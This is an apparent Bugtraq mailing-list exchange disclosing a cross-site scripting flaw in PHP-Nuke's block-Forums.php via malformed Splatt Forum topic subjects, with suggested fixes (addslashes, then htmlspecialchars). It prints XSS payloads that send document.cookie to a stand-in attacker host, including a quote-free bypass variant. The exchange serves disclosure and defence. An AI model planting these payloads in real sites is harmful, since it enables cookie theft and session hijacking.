PHP-Nuke block-Forums.php subject vulnerabilities

The block-Forums.php file have a vuln if an attacker
insert a malformatted subject to a topic of Splatt
Forum. A type of subject is:

"><script>alert('bug'");</script>

The 'alt' tag is closed by "> and the other text is
normal html. This bug is very bad if a subject is:

"><script>window.open('www.attacker.com/prova.php?cookie='+document.cookie);</script>

And prova.php register cokkies in a file.

The solution:

Add under "$title2 = stripslashes($title2);" line, this
line:
"$title2 = addslashes($title2);"

And now, backward any " there is a backslash!

[Frog Man]

I haven't tested but I don't think addslashes() is a good solution here.
The same javascript can be executed without ' or ", like this :

">
<name=a><input type=hidden name=u
value=http://www.attacker.com/prova.php></form>
<script>window.open(document.a.u.value+document.cookie)</script>

What do you think about :
$title2 = htmlspecialchars($title2, ENT_QUOTES);



>From: <lethalman@libero.it>
>To: bugtraq@securityfocus.com
>Subject: PHP-Nuke block-Forums.php subject vulnerabilities
>Date: 31 Mar 2003 11:15:54 -0000
>
>
>
>The block-Forums.php file have a vuln if an attacker
>insert a malformatted subject to a topic of Splatt
>Forum. A type of subject is:
>
>">&lt;script&gt;alert('bug'");&lt;/script&gt;
>
>The 'alt' tag is closed by "> and the other text is
>normal html. This bug is very bad if a subject is:
>
>">&lt;script&gt;window.open('www.attacker.com/prova.php?cookie='+document.cookie);&lt;/script&gt;
>
>And prova.php register cokkies in a file.
>
>The solution:
>
>Add under "$title2 = stripslashes($title2);" line, this
>line:
>"$title2 = addslashes($title2);"
>
>And now, backward any " there is a backslash!




--------------------------
frog-m@n
http://www.phpsecure.info


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